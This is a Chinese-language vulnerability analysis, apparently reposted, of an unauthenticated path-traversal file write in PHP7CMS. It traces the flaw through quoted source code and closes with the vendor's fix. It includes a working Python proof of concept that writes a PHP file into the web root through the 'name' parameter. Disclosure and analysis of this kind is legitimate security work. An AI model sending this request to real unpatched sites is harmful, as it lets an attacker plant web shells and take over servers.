php7 cms,PHP7CMS 无条件前台GETSHELL
Version:2018-10-09
//最新版中以修復(fù)此漏洞
這個(gè)漏洞很簡(jiǎn)單,如果作者在寫代碼的時(shí)候考慮到一點(diǎn)點(diǎn)安全方面,其實(shí)都可以避免的。
[PHP] 純文本查看 復(fù)制代碼// php7cms/Core/Controllers/Api/Api.php
// 52~61 line
public function save_form_data() {
$rt = \Phpcmf\Service::L('cache')->init('file')->save(
\Phpcmf\Service::L('Input')->get('name'),
\Phpcmf\Service::L('Input')->post('data'),
7200
);
var_dump($rt);
exit;
}
調(diào)用了Cache類中 init 函數(shù),參數(shù)分別為get(‘name’)和post(‘data’)。
[PHP] 純文本查看 復(fù)制代碼// php7cms/Fcms/Library/Cache.php
// 112~121 line
public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {
$config = new \Config\Cache();
$config->handler = 'file';
$config->prefix = $prefix;
!$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';
$config->path = WRITEPATH.'caching/';
$cache = \Config\Services::cache($config, 0);
return $cache;
}
初始化緩存類,為prefix參數(shù)拼接字符串后直接無任何過濾直接傳入CI框架的緩存類中,中間框架的執(zhí)行流程就不在文章里寫了。
直接看最后一步
[PHP] 純文本查看 復(fù)制代碼// php7cms/System/Cache/Handlers
// 107~125 line
public function save(string $key, $value, int $ttl = 60)
{
$key = $this->prefix . $key;
$contents = [
'time' => time(),
'ttl' => $ttl,
'data' => $value,
];
if ($this->writeFile($this->path . $key, serialize($contents)))
{
chmod($this->path . $key, 0640);
return true;
}
return false;
}
[PHP] 純文本查看 復(fù)制代碼//324~345 line
protected function writeFile($path, $data, $mode = 'wb')
{
if (($fp = @fopen($path, $mode)) === false)
{
return false;
}
flock($fp, LOCK_EX);
for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)
{
if (($result = fwrite($fp, substr($data, $written))) === false)
{
break;
}
}
flock($fp, LOCK_UN);
fclose($fp);
return is_int($result);
}
直接寫入到緩存目錄中,其中并沒有過濾”.”和”/”,可以跨目錄寫入。所以不需要考慮路由問題。
POC:
[PHP] 純文本查看 復(fù)制代碼from requests import post
postData = {
'data':'<?php phpinfo()?>'
}
postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)
-1.png (123.79 KB, 下載次數(shù): 23)
2018-12-14 13:05 上傳
新版修復(fù):
3.png (27.21 KB, 下載次數(shù): 28)
2018-12-14 13:07 上傳
首先給dr_safe_replace 參數(shù)增加了兩個(gè)新的過濾條件 ” . “和 ” ‘ “,在原本漏洞出發(fā)點(diǎn)接收get值的時(shí)候用這個(gè)函數(shù)過濾。
03.png (35.6 KB, 下載次數(shù): 26)
2018-12-14 13:07 上傳
總結(jié)
以上是生活随笔為你收集整理的php7 cms,PHP7CMS 无条件前台GETSHELL的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: epic登陆按钮一直在转_双剑合璧!GO
- 下一篇: GetLBText()和GetWindo